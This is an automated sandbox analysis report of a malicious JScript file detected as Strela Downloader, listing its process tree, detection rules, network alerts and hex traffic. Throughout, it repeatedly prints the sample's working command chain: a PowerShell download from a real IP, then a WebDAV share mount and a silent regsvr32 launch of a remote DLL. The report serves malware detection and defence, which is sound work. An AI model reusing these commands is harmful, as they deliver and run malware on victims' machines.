Edit tour

Windows Analysis Report
1712226379134618467.js

Overview

General Information

Sample name:	1712226379134618467.js
Analysis ID:	1587566
MD5:	39fac73c2462ea4420f113b2e8f46ebf
SHA1:	ddea60ab347be0b5dbb3f4080f25573f4285b0ee
SHA256:	a852b98a1bfc6632547b43327aff030ba4ba3d0c9c6a82d3e78767993bd373b0
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: Use Short Name Path in Command Line

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 1448 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1712226379134618467.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 5888 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5092 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6680 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 1768 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 316 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 5112 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1652,i,8993619329335362403,3252811449787906501,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 1168 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 1516 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 5532 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 1448	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5888, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6680, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5888, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6680, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1712226379134618467.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1712226379134618467.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1712226379134618467.js", ProcessId: 1448, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 1516, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49763

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1712226379134618467.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1448, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll, ProcessId: 5888, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1712226379134618467.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1448, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll, ProcessId: 5888, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1712226379134618467.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1448, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll, ProcessId: 5888, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1712226379134618467.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1448, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll, ProcessId: 5888, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1712226379134618467.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1448, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll, ProcessId: 5888, ProcessName: cmd.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1712226379134618467.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1448, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll, ProcessId: 5888, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1712226379134618467.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1712226379134618467.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1712226379134618467.js", ProcessId: 1448, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5888, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6680, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1168, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1516, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 5532, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1168, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1516, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1712226379134618467.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1448, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll, ProcessId: 5888, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T15:01:25.724561+0100	1810005	1	Potentially Bad Traffic	192.168.2.7	49763	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T15:01:23.112755+0100	1810000	2	Potentially Bad Traffic	192.168.2.7	49747	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1712226379134618467.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1712226379134618467.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.7:49763 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 14:01:23 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 